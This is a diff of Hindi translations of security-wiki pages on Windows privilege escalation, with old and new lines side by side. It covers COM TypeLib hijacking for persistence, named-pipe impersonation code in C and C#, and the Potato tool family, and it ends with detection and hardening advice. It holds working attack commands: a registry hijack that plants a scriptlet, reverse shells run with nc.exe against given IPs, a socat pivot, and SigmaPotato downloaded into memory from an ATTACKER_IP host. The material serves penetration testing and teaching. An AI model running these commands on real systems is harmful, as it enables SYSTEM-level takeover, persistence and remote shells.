$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) प्रति-उपयोगकर्ता TypeLib पथ को स्थानीय scriptlet की ओर `script:` मोनाइकर का उपयोग करके पॉइंट करें (कोई एडमिन अधिकार आवश्यक नहीं):
2) per-user TypeLib path को स्थानीय scriptlet की ओर `script:` moniker का उपयोग करके इंगित करें (एडमिन अधिकार आवश्यक नहीं):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) एक न्यूनतम JScript `.sct` गिराएँ जो आपके प्राथमिक payload को फिर से लॉन्च करे (उदा. प्रारंभिक chain द्वारा उपयोग किया गया `.lnk`):
3) अपना प्राथमिक payload फिर से लॉन्च करने के लिए एक न्यूनतम JScript `.sct` डालें (उदा. initial chain द्वारा उपयोग किया गया `.lnk`):
```xml
<?xml version="1.0"?>
<scriptlet>
@ -114,19 +114,18 @@ sh.Run(cmd, 0, false);
</script>
</scriptlet>
```
4) Triggering – IE खोलना, कोई ऐसा एप्लिकेशन जो WebBrowser control को embed करता है, या यहाँ तक कि सामान्य Explorer activity भी TypeLib को लोड करेगा और scriptlet को execute करेगा, जिससे आपकी chain logon/reboot पर पुनः सक्रिय हो जाएगी।
4) सक्रिय करना – IE खोलना, कोई एप्लिकेशन जो WebBrowser control को एम्बेड करता है, या सामान्य Explorer गतिविधि TypeLib को लोड करेगी और scriptlet को निष्पादित करेगी, जिससे logon/reboot पर आपकी chain फिर से सशस्त्र हो जाएगी।
सफाई
साफ़-सफ़ाई
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
नोट
- आप वही लॉजिक अन्य बार-बार उपयोग होने वाले COM घटकों पर भी लागू कर सकते हैं; हमेशा पहले वास्तविक `LIBID` को `HKCR\CLSID\{CLSID}\TypeLib` से रिज़ॉल्व करें।
- 64-bit सिस्टम्स पर आप 64-bit consumers के लिए `win64` सबकी भी भर सकते हैं।
नोट्स
- आप वही लॉजिक अन्य बार-बार उपयोग होने वाले COM घटकों पर लागू कर सकते हैं; सदैव पहले `HKCR\CLSID\{CLSID}\TypeLib` से वास्तविक `LIBID` को हल करें।
- 64-bit सिस्टम्स पर आप 64-bit उपभोक्ताओं के लिए `win64` उप-कुंजी भी भर सकते हैं।
## संदर्भ

58
src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
View File

@ -2,27 +2,27 @@
{{#include ../../banners/hacktricks-training.md}}
Named Pipe client impersonation एक local privilege escalation primitive है जो किसी named-pipe server thread को उस client के security context को अपनाने की अनुमति देती है जो उससे कनेक्ट होता है। व्यवहार में, एक attacker जो SeImpersonatePrivilege के साथ कोड चला सकता है, एक privileged client (उदा., एक SYSTEM service) को attacker-controlled pipe से कनेक्ट करने के लिए मजबूर कर सकता है, ImpersonateNamedPipeClient कॉल कर सकता है, प्राप्त token को primary token में duplicate कर सकता है, और client के रूप में एक process spawn कर सकता है (अक्सर NT AUTHORITY\SYSTEM)।
Named Pipe client impersonation एक local privilege escalation primitive है जो एक named-pipe server थ्रेड को उस क्लाइंट का security context अपनाने देगा जो उससे कनेक्ट होता है। व्यवहार में, एक attacker जो SeImpersonatePrivilege के साथ कोड चला सकता है, एक privileged client (उदा. एक SYSTEM service) को attacker-controlled pipe से कनेक्ट करवाने, ImpersonateNamedPipeClient कॉल करने, प्राप्त token को primary token में duplicate करने, और क्लाइंट के रूप में एक प्रोसेस spawn करने (अक्सर NT AUTHORITY\SYSTEM) के लिए बाध्य कर सकता है।
यह पृष्ठ core technique पर केंद्रित है। SYSTEM को आपकी pipe पर मजबूर करने वाले end-to-end exploit chains के लिए, नीचे संदर्भित Potato family pages देखें।
यह पृष्ठ मूल तकनीक पर केंद्रित है। SYSTEM को आपकी pipe से जोड़ने वाले end-to-end exploit chains के लिए, नीचे संदर्भित Potato family पृष्ठ देखें।
## TL;DR
- Create a named pipe: \\.\pipe\<random> और connection का इंतज़ार करें.
- एक privileged component को उससे connect कराएँ (spooler/DCOM/EFSRPC/etc.).
- pipe से कम से कम एक message पढ़ें, फिर ImpersonateNamedPipeClient कॉल करें।
- वर्तमान thread से impersonation token खोलें, DuplicateTokenEx(TokenPrimary) करें, और CreateProcessWithTokenW/CreateProcessAsUser का उपयोग करके SYSTEM process प्राप्त करें।
- एक named pipe बनाएं: \\.\pipe\<random> और कनेक्शन का इंतज़ार करें।
- किसी privileged component को इससे कनेक्ट कराएँ (spooler/DCOM/EFSRPC/etc.)।
- pipe से कम से कम एक संदेश पढ़ें, फिर ImpersonateNamedPipeClient कॉल करें।
- वर्तमान थ्रेड से impersonation token खोलें, DuplicateTokenEx(TokenPrimary) करें, और CreateProcessWithTokenW/CreateProcessAsUser का उपयोग करके SYSTEM प्रोसेस प्राप्त करें।
## Requirements and key APIs
- कॉलिंग process/thread द्वारा सामान्यतः आवश्यक privileges:
- SeImpersonatePrivilege ताकि connecting client की सफलतापूर्वक impersonation की जा सके और CreateProcessWithTokenW का उपयोग किया जा सके।
- विकल्प के रूप में, SYSTEM की impersonation करने के बाद आप CreateProcessAsUser का उपयोग कर सकते हैं, जिसके लिए SeAssignPrimaryTokenPrivilege और SeIncreaseQuotaPrivilege की आवश्यकता हो सकती है (ये तब संतुष्ट होते हैं जब आप SYSTEM की impersonation कर रहे हों)।
- मुख्य APIs जो उपयोग होते हैं:
- कॉल करने वाले process/thread को सामान्यतः जिन privileges की आवश्यकता होती है:
- SeImpersonatePrivilege ताकि कनेक्ट होने वाले क्लाइंट की सफलतापूर्वक impersonation की जा सके और CreateProcessWithTokenW का उपयोग किया जा सके।
- वैकल्पिक रूप से, SYSTEM की impersonation करने के बाद आप CreateProcessAsUser का उपयोग कर सकते हैं, जिसके लिए SeAssignPrimaryTokenPrivilege और SeIncreaseQuotaPrivilege की आवश्यकता हो सकती है (ये जब आप SYSTEM की impersonation कर रहे होते हैं तब संतुष्ट होते हैं)।
- उपयोग की जाने वाली मुख्य APIs:
- CreateNamedPipe / ConnectNamedPipe
- ReadFile/WriteFile (impersonation से पहले कम से कम एक message पढ़ना आवश्यक है)
- ReadFile/WriteFile (impersonation से पहले कम से कम एक संदेश पढ़ना आवश्यक है)
- ImpersonateNamedPipeClient and RevertToSelf
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
- CreateProcessWithTokenW or CreateProcessAsUser
- Impersonation level: स्थानीय उपयोगी क्रियाएँ करने के लिए, client को SecurityImpersonation की अनुमति देनी चाहिए (कई local RPC/named-pipe clients के लिए डिफ़ॉल्ट)। Clients pipe खोलते समय SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ इसे कम कर सकते हैं।
- Impersonation level: लोकली उपयोगी कार्य करने के लिए, client को SecurityImpersonation की अनुमति देनी चाहिए (कई local RPC/named-pipe clients के लिए डिफ़ॉल्ट)। क्लाइंट pipe खोलते समय SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ इसे घटा सकते हैं।
## Minimal Win32 workflow (C)
```c
@ -69,11 +69,11 @@ return 0;
}
```
नोट्स:
- यदि ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) लौटाता है, तो सुनिश्चित करें कि आप पहले पाइप से पढ़ रहे हैं और कि क्लाइंट ने impersonation को Identification स्तर तक सीमित नहीं किया है।
- DuplicateTokenEx को SecurityImpersonation और TokenPrimary के साथ प्राथमिकता दें ताकि process creation के लिए उपयुक्त primary token बनाया जा सके।
- यदि ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) लौटाता है, तो पहले pipe से पढ़ना सुनिश्चित करें और कि client ने impersonation को Identification level तक सीमित नहीं किया है।
- DuplicateTokenEx का उपयोग SecurityImpersonation और TokenPrimary के साथ करें ताकि process creation के लिए उपयुक्त primary token बनाया जा सके।
## .NET त्वरित उदाहरण
In .NET, NamedPipeServerStream RunAsClient के माध्यम से impersonate कर सकता है। एक बार impersonate करने पर, thread token को duplicate करें और एक process बनाएं।
In .NET, NamedPipeServerStream RunAsClient के माध्यम से impersonate कर सकता है। एक बार impersonating हो जाने पर, thread token को duplicate करें और एक process बनाएं।
```csharp
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
@ -93,8 +93,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
}
}
```
## Common triggers/coercions to get SYSTEM to your pipe
These techniques coerces अधिकार प्राप्त सेवाओं को आपके named pipe से कनेक्ट करने के लिए ताकि आप उन्हें impersonate कर सकें:
## SYSTEM को आपकी pipe से जोड़ने के सामान्य ट्रिगर/जबरदस्ती
ये तकनीकें privileged services को मजबूर करती हैं कि वे आपकी named pipe से कनेक्ट करें ताकि आप उन्हें impersonate कर सकें:
- Print Spooler RPC trigger (PrintSpoofer)
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
@ -117,20 +117,20 @@ If you just need a full example of crafting the pipe and impersonating to spawn
from-high-integrity-to-system-with-name-pipes.md
{{#endref}}
## Troubleshooting and gotchas
- आप ImpersonateNamedPipeClient कॉल करने से पहले pipe से कम-से-कम एक message पढ़ना होगा; अन्यथा आपको ERROR_CANNOT_IMPERSONATE (1368) मिलेगा।
- यदि client SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ कनेक्ट करता है, तो server पूर्ण रूप से impersonate नहीं कर सकता; GetTokenInformation(TokenImpersonationLevel) के माध्यम से token के impersonation level की जाँच करें।
- CreateProcessWithTokenW caller पर SeImpersonatePrivilege की आवश्यकता होती है। यदि यह ERROR_PRIVILEGE_NOT_HELD (1314) के साथ फेल होता है, तो पहले आप SYSTEM को impersonate करने के बाद CreateProcessAsUser का उपयोग करें।
- यदि आपने pipe का security descriptor harden किया है तो सुनिश्चित करें कि target service को कनेक्ट करने की अनुमति है; डिफ़ॉल्ट रूप से, \\.\pipe के नीचे के pipes server के DACL के अनुसार पहुँच योग्य होते हैं।
## त्रुटि निवारण और सावधानियाँ
- ImpersonateNamedPipeClient को कॉल करने से पहले pipe से कम से कम एक संदेश पढ़ना आवश्यक है; अन्यथा आपको ERROR_CANNOT_IMPERSONATE (1368) मिलेगा।
- यदि client SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION के साथ कनेक्ट करता है, तो server पूरी तरह impersonate नहीं कर सकता; token के impersonation स्तर की जांच GetTokenInformation(TokenImpersonationLevel) के माध्यम से करें।
- CreateProcessWithTokenW कॉल करने वाले पर SeImpersonatePrivilege की आवश्यकता होती है। यदि यह ERROR_PRIVILEGE_NOT_HELD (1314) के साथ फेल होता है, तो पहले SYSTEM को impersonate करने के बाद CreateProcessAsUser का उपयोग करें।
- यदि आपने pipe को harden किया है तो सुनिश्चित करें कि आपकी pipe का security descriptor target service को कनेक्ट करने की अनुमति देता है; डिफ़ॉल्ट रूप से, pipes under \\.\pipe server की DACL के अनुसार एक्सेसिबल होते हैं।
## Detection and hardening
- named pipe के निर्माण और कनेक्शनों की निगरानी करें। Sysmon Event IDs 17 (Pipe Created) और 18 (Pipe Connected) वैध pipe नामों का बेसलाइन बनाने और token-manipulation घटनाओं से पहले अनोखे, random-लगने वाले pipes पकड़ने के लिए उपयोगी हैं।
- ऐसे अनुक्रमों की तलाश करें: कोई process एक pipe बनाता है, एक SYSTEM service कनेक्ट करता है, फिर बनाने वाला process SYSTEM के रूप में एक child spawn करता है।
- exposure कम करने के लिए nonessential service accounts से SeImpersonatePrivilege हटाएँ और उच्च privileges के साथ अनावश्यक service logons से बचें।
- Defensive development: untrusted named pipes से कनेक्ट करते समय SECURITY_SQOS_PRESENT के साथ SECURITY_IDENTIFICATION निर्दिष्ट करें ताकि servers आवश्यक न होने पर client को पूर्ण रूप से impersonate न कर सकें।
## डिटेक्शन और हार्डनिंग
- named pipe निर्माण और कनेक्शनों की निगरानी करें। Sysmon Event IDs 17 (Pipe Created) और 18 (Pipe Connected) वैध pipe नामों का बेसलाइन बनाने और token-manipulation इवेंट्स से पहले होने वाले असामान्य, रैंडम-लगने वाले pipes को पकड़ने में उपयोगी हैं।
- निम्न क्रम की तलाश करें: process एक pipe बनाता है, एक SYSTEM service कनेक्ट होती है, और फिर बनाने वाला process SYSTEM के रूप में एक child spawn करता है।
- जोखिम कम करने के लिए गैर-आवश्यक service accounts से SeImpersonatePrivilege हटा दें और उच्च privileges वाले अनावश्यक service logons से बचें।
- Defensive development: untrusted named pipes से कनेक्ट करते समय SECURITY_SQOS_PRESENT के साथ SECURITY_IDENTIFICATION निर्दिष्ट करें ताकि servers आवश्यक होने तक client को पूरी तरह impersonate न कर सकें।
## References
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
## संदर्भ
- Windows: ImpersonateNamedPipeClient दस्तावेज़ (impersonation आवश्यकताएँ और व्यवहार). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
{{#include ../../banners/hacktricks-training.md}}

49
src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
View File

@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato काम नहीं करता** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** का उपयोग समान विशेषाधिकार भुनाने और `NT AUTHORITY\SYSTEM` स्तर की पहुँच प्राप्त करने के लिए किया जा सकता है। This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
> [!TIP]
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
@ -22,23 +22,23 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## आवश्यकताएँ और सामान्य सावधानियाँ
## आवश्यकताएँ और सामान्य समस्याएँ
निम्नलिखित सभी तकनीकें एक impersonation-capable privileged service का दुरुपयोग करने पर निर्भर करती हैं, जो उस संदर्भ से की जाती हैं जिसमें निम्नलिखित में से कोई एक विशेषाधिकार मौजूद होता है:
नीचे दी गई सभी techniques एक impersonation-capable privileged service का दुरुपयोग करने पर निर्भर करती हैं, और यह context उन privileges में से किसी एक को होल्ड करता है:
- SeImpersonatePrivilege (सबसे सामान्य) या SeAssignPrimaryTokenPrivilege
- High integrity आवश्यक नहीं है अगर टोकन में पहले से SeImpersonatePrivilege मौजूद हो (आम तौर पर कई service accounts जैसे IIS AppPool, MSSQL, आदि के लिए)
- SeImpersonatePrivilege (सबसे आम) या SeAssignPrimaryTokenPrivilege
- High integrity आवश्यक नहीं है अगर token में पहले से SeImpersonatePrivilege मौजूद है (आम तौर पर कई service accounts जैसे IIS AppPool, MSSQL, आदि के लिए ऐसा होता है)
विशेषाधिकार शीघ्र जाँचें:
प्रिविलेज जल्दी से चेक करें:
```cmd
whoami /priv | findstr /i impersonate
```
ऑपरेशनल नोट्स:
- PrintSpoofer को Print Spooler सेवा चल रही और स्थानीय RPC endpoint (spoolss) पर पहुँच योग्य होना चाहिए। कठोर-सुरक्षित वातावरणों में जहाँ Spooler को PrintNightmare के बाद disabled किया गया हो, RoguePotato/GodPotato/DCOMPotato/EfsPotato को प्राथमिकता दें।
- RoguePotato को TCP/135 पर पहुँच योग्य OXID resolver चाहिए। अगर egress blocked है, तो redirector/port-forwarder का उपयोग करें (नीचे उदाहरण देखें)। पुराने builds में -f flag की जरूरत होती थी।
- EfsPotato/SharpEfsPotato MS-EFSR का दुरुपयोग करते हैं; अगर एक pipe blocked है, तो वैकल्पिक pipes आज़माएँ (lsarpc, efsrpc, samr, lsass, netlogon)।
- RpcBindingSetAuthInfo के दौरान Error 0x6d3 आम तौर पर किसी अज्ञात/असमर्थित RPC authentication service को दर्शाता है; कोई अलग pipe/transport आज़माएँ या सुनिश्चित करें कि target service चल रही है।
- PrintSpoofer को Print Spooler सेवा चालू और स्थानीय RPC endpoint (spoolss) पर पहुँच योग्य होना चाहिए। कड़े वातावरण में जहाँ Spooler को PrintNightmare के बाद निष्क्रिय किया गया है, RoguePotato/GodPotato/DCOMPotato/EfsPotato को प्राथमिकता दें।
- RoguePotato के लिए TCP/135 पर उपलब्ध OXID resolver चाहिए। यदि egress ब्लॉक है, तो redirector/port-forwarder का उपयोग करें (नीचे उदाहरण देखें)। पुराने बिल्ड्स में -f flag की आवश्यकता होती थी।
- EfsPotato/SharpEfsPotato MS-EFSR का दुरुपयोग करते हैं; यदि कोई एक pipe ब्लॉक है, तो वैकल्पिक pipes (lsarpc, efsrpc, samr, lsass, netlogon) आज़माएँ।
- RpcBindingSetAuthInfo के दौरान Error 0x6d3 आमतौर पर किसी अज्ञात/असमर्थित RPC authentication service को सूचित करता है; किसी अलग pipe/transport को आज़माएँ या सुनिश्चित करें कि target service चल रही है।
## त्वरित डेमो
@ -57,9 +57,9 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
NULL
```
नोट:
- आप -i का उपयोग वर्तमान कंसोल में एक इंटरैक्टिव प्रोसेस शुरू करने के लिए कर सकते हैं, या -c का उपयोग एक वन-लाइनर चलाने के लिए कर सकते हैं।
- Spooler सेवा आवश्यक है। यदि यह अक्षम है, तो यह विफल होगा।
नोट्स:
- आप वर्तमान कंसोल में एक इंटरैक्टिव प्रोसेस शुरू करने के लिए -i का उपयोग कर सकते हैं, या एक-लाइनेर चलाने के लिए -c का उपयोग कर सकते हैं।
- Spooler service की आवश्यकता होती है। यदि यह अक्षम है, तो यह विफल हो जाएगा।
### RoguePotato
```bash
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
यदि outbound 135 अवरुद्ध है, तो अपने redirector पर socat के माध्यम से OXID resolver को pivot करें:
यदि outbound 135 blocked है, तो अपने redirector पर socat के माध्यम से OXID resolver को pivot करें:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
टिप: यदि किसी एक pipe में विफलता हो या EDR उसे ब्लॉक कर दे, तो अन्य समर्थित pipes आज़माएँ:
टिप: यदि एक pipe विफल हो जाए या EDR इसे ब्लॉक कर दे, तो अन्य समर्थित pipes आज़माएँ:
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -122,14 +122,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
# You can achieve a reverse shell like this.
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
Notes:
- Windows 8/8.1–11 और Server 2012–2022 पर तब काम करता है जब SeImpersonatePrivilege मौजूद हो।
- Windows 8/8.1–11 और Server 2012–2022 पर तब काम करता है जब SeImpersonatePrivilege मौजूद हो।
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato दो वेरिएंट प्रदान करता है जो service DCOM objects को लक्षित करते हैं जो डिफ़ॉल्ट रूप से RPC_C_IMP_LEVEL_IMPERSONATE पर सेट होते हैं। प्रदान किए गए binaries को बनाएं या उनका उपयोग करें और अपना command चलाएँ:
DCOMPotato दो वेरिएंट प्रदान करता है जो service DCOM objects को लक्षित करते हैं जो डिफ़ॉल्ट रूप से RPC_C_IMP_LEVEL_IMPERSONATE पर होते हैं। दिए गए binaries को बनाएँ या उपयोग करें और अपना command चलाएँ:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -137,9 +136,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (अपडेटेड GodPotato fork)
### SigmaPotato (updated GodPotato fork)
SigmaPotato आधुनिक सुविधाएँ जोड़ता है, जैसे .NET reflection के माध्यम से in-memory execution और एक PowerShell reverse shell helper।
SigmaPotato आधुनिक सुविधाएँ जोड़ता है जैसे .NET reflection के माध्यम से in-memory execution और PowerShell reverse shell helper।
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -150,11 +149,11 @@ SigmaPotato आधुनिक सुविधाएँ जोड़ता ह
```
## डिटेक्शन और हार्डनिंग नोट्स
- नामित पाइप बना रहे प्रक्रियाओं की निगरानी करें और तुरंत token-duplication APIs को कॉल करने के बाद CreateProcessAsUser/CreateProcessWithTokenW को कॉल करने वाली गतिविधियों पर ध्यान दें। Sysmon उपयोगी टेलीमेट्री दिखा सकता है: Event ID 1 (process creation), 17/18 (named pipe created/connected), और वे कमांड लाइन जो SYSTEM के रूप में child processes को spawn करती हैं।
- Spooler hardening: जिन सर्वरों पर Print Spooler सेवा आवश्यक नहीं है, वहां इसे डिसेबल करने से spoolss के माध्यम से होने वाले PrintSpoofer-style local coercions रोके जा सकते हैं।
- Service account hardening: कस्टम सेवाओं को SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege असाइन करना कम से कम रखें। सेवाओं को आवश्यक न्यूनतम privileges वाले virtual accounts के तहत चलाने पर विचार करें और जहाँ संभव हो उन्हें service SID और write-restricted tokens के साथ अलग-थलग रखें।
- Network controls: आउटबाउंड TCP/135 को ब्लॉक करना या RPC endpoint mapper ट्रैफ़िक को सीमित करना RoguePotato को प्रभावित कर सकता है जब तक कि कोई internal redirector उपलब्ध न हो।
- EDR/AV: इन सभी टूल्स के लिए व्यापक सिग्नेचर मौजूद हैं। source से recompile करना, symbols/strings का नाम बदलना, या in-memory execution का उपयोग detection को कम कर सकता है पर मजबूत behavioral detections को परास्त नहीं करेगा।
- उन processes को मॉनिटर करें जो named pipes बना रहे हैं और तुरंत token-duplication APIs को कॉल कर रहे हैं और फिर CreateProcessAsUser/CreateProcessWithTokenW को कॉल करते हैं। Sysmon उपयोगी telemetry प्रदान कर सकता है: Event ID 1 (process creation), 17/18 (named pipe created/connected), और ऐसे command lines जो SYSTEM के रूप में child processes spawn करते हैं।
- Spooler हार्डनिंग: उन servers पर जहाँ इसकी आवश्यकता नहीं है, Print Spooler service को डिसेबल करने से spoolss के माध्यम से PrintSpoofer-style स्थानीय दुरुपयोग रोका जा सकता है।
- Service account हार्डनिंग: custom services को SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege असाइन करने को न्यूनतम रखें। सेवाओं को आवश्यक न्यूनतम privileges वाले virtual accounts के तहत चलाना और संभव हो तो उन्हें service SID और write-restricted tokens से अलग करना विचार करें।
- Network कंट्रोल्स: outbound TCP/135 ब्लॉक करना या RPC endpoint mapper ट्रैफ़िक को सीमित करना RoguePotato को रोक सकता है जब तक कि कोई internal redirector उपलब्ध न हो।
- EDR/AV: ये सभी tools व्यापक रूप से signatured हैं। source से recompile करना, symbols/strings का नाम बदलना, या in-memory execution का उपयोग detection को कम कर सकता है पर मजबूत behavioral detections को हरा नहीं पाएगा।
## संदर्भ